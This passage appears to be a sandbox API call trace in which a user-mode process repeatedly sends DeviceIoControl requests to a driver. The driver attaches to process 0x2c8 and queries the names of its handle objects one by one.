Object=0xfffff88005473548*=0xfffffa80031228d0, HandleInformation=0x0) returned 0x0 [0136.568] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.568] PsReleaseProcessExitSynchronization () returned 0x2 [0136.568] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.569] ObQueryNameString (in: Object=0xfffffa80031228d0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.569] ObfDereferenceObject (Object=0xfffffa80031228d0) returned 0x2 [0136.569] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.569] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.569] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.569] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.569] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.569] PsAcquireProcessExitSynchronization () returned 0x0 [0136.569] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.569] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003167360, HandleInformation=0x0) returned 0x0 [0136.569] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.569] PsReleaseProcessExitSynchronization () returned 0x2 [0136.569] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.569] ObQueryNameString (in: Object=0xfffffa8003167360, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.569] ObfDereferenceObject (Object=0xfffffa8003167360) returned 0x2 [0136.569] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.569] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.569] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.569] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.569] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.569] PsAcquireProcessExitSynchronization () returned 0x0 [0136.569] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.569] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003169bb0, HandleInformation=0x0) returned 0x0 [0136.569] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.569] PsReleaseProcessExitSynchronization () returned 0x2 [0136.569] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.569] ObQueryNameString (in: Object=0xfffffa8003169bb0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.569] ObfDereferenceObject (Object=0xfffffa8003169bb0) returned 0x2 [0136.569] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.569] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.569] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.569] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0136.569] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.569] PsAcquireProcessExitSynchronization () returned 0x0 [0136.569] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.570] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316a180, HandleInformation=0x0) returned 0x0 [0136.570] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.570] PsReleaseProcessExitSynchronization () returned 0x2 [0136.570] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.570] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.570] ObfDereferenceObject (Object=0xfffffa800316a180) returned 0x20 [0136.570] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.570] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.570] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.570] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0136.570] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.570] PsAcquireProcessExitSynchronization () returned 0x0 [0136.570] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.570] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800b6a4e20, HandleInformation=0x0) returned 0x0 [0136.570] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.570] PsReleaseProcessExitSynchronization () returned 0x2 [0136.570] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.570] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.570] ObfDereferenceObject (Object=0xfffffa800b6a4e20) returned 0x20 [0136.570] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.570] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.570] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.570] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0136.570] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.570] PsAcquireProcessExitSynchronization () returned 0x0 [0136.570] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.570] ObReferenceObjectByHandle (in: Handle=0x1dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316fea0, HandleInformation=0x0) returned 0x0 [0136.570] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.570] PsReleaseProcessExitSynchronization () returned 0x2 [0136.570] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.570] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.570] ObfDereferenceObject (Object=0xfffffa800316fea0) returned 0x12 [0136.570] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.570] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.570] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0136.571] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.571] PsAcquireProcessExitSynchronization () returned 0x0 [0136.571] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.571] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316d800, HandleInformation=0x0) returned 0x0 [0136.571] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.571] PsReleaseProcessExitSynchronization () returned 0x2 [0136.571] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.571] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.571] ObfDereferenceObject (Object=0xfffffa800316d800) returned 0x20 [0136.571] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.571] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.571] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0136.571] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.571] PsAcquireProcessExitSynchronization () returned 0x0 [0136.571] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.571] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316eda0, HandleInformation=0x0) returned 0x0 [0136.571] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.571] PsReleaseProcessExitSynchronization () returned 0x2 [0136.571] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.571] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.571] ObfDereferenceObject (Object=0xfffffa800316eda0) returned 0x12 [0136.571] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.571] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.571] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.571] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0136.571] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.571] PsAcquireProcessExitSynchronization () returned 0x0 [0136.571] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.571] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800f25e8e0, HandleInformation=0x0) returned 0x0 [0136.571] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.572] PsReleaseProcessExitSynchronization () returned 0x2 [0136.572] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.572] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.572] ObfDereferenceObject (Object=0xfffffa800f25e8e0) returned 0x12 [0136.572] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.572] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.572] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.572] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x96, lpOverlapped=0x0) returned 1 [0136.572] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.572] PsAcquireProcessExitSynchronization () returned 0x0 [0136.572] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.572] ObReferenceObjectByHandle (in: Handle=0x218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316ec50, HandleInformation=0x0) returned 0x0 [0136.572] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.572] PsReleaseProcessExitSynchronization () returned 0x2 [0136.572] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.572] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.572] ObfDereferenceObject (Object=0xfffffa800316ec50) returned 0x12 [0136.572] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.572] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.572] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.572] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0136.572] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.572] PsAcquireProcessExitSynchronization () returned 0x0 [0136.572] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.572] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316d6b0, HandleInformation=0x0) returned 0x0 [0136.572] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.572] PsReleaseProcessExitSynchronization () returned 0x2 [0136.572] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.572] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.572] ObfDereferenceObject (Object=0xfffffa800316d6b0) returned 0x12 [0136.572] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.572] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.572] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.572] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0136.573] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.573] PsAcquireProcessExitSynchronization () returned 0x0 [0136.573] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.573] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800316f070, HandleInformation=0x0) returned 0x0 [0136.573] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.573] PsReleaseProcessExitSynchronization () returned 0x2 [0136.573] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.573] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0136.573] ObfDereferenceObject (Object=0xfffffa800316f070) returned 0x12 [0136.573] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.573] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.573] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.573] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0136.573] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.573] PsAcquireProcessExitSynchronization () returned 0x0 [0136.573] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.573] ObReferenceObjectByHandle (in: Handle=0x228, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800edfdbe0, HandleInformation=0x0) returned 0x0 [0136.573] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.573] PsReleaseProcessExitSynchronization () returned 0x2 [0136.573] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.573] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0136.573] ObfDereferenceObject (Object=0xfffffa800edfdbe0) returned 0x21 [0136.573] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.573] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.573] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.573] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0136.573] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.573] PsAcquireProcessExitSynchronization () returned 0x0 [0136.573] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.573] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800b9ffbe0, HandleInformation=0x0) returned 0x0 [0136.573] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.573] PsReleaseProcessExitSynchronization () returned 0x2 [0136.573] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.573] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.574] ObfDereferenceObject (Object=0xfffffa800b9ffbe0) returned 0x12 [0136.574] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.574] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.574] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.574] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0136.574] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.574] PsAcquireProcessExitSynchronization () returned 0x0 [0136.574] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.574] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f2c220, HandleInformation=0x0) returned 0x0 [0136.574] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.574] PsReleaseProcessExitSynchronization () returned 0x2 [0136.574] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.574] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.574] ObfDereferenceObject (Object=0xfffffa8002f2c220) returned 0x12 [0136.574] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.574] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.574] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.574] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0136.574] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.574] PsAcquireProcessExitSynchronization () returned 0x0 [0136.574] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.574] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800324b970, HandleInformation=0x0) returned 0x0 [0136.574] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.574] PsReleaseProcessExitSynchronization () returned 0x2 [0136.574] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.574] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.574] ObfDereferenceObject (Object=0xfffffa800324b970) returned 0x20 [0136.574] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.574] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.574] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.574] 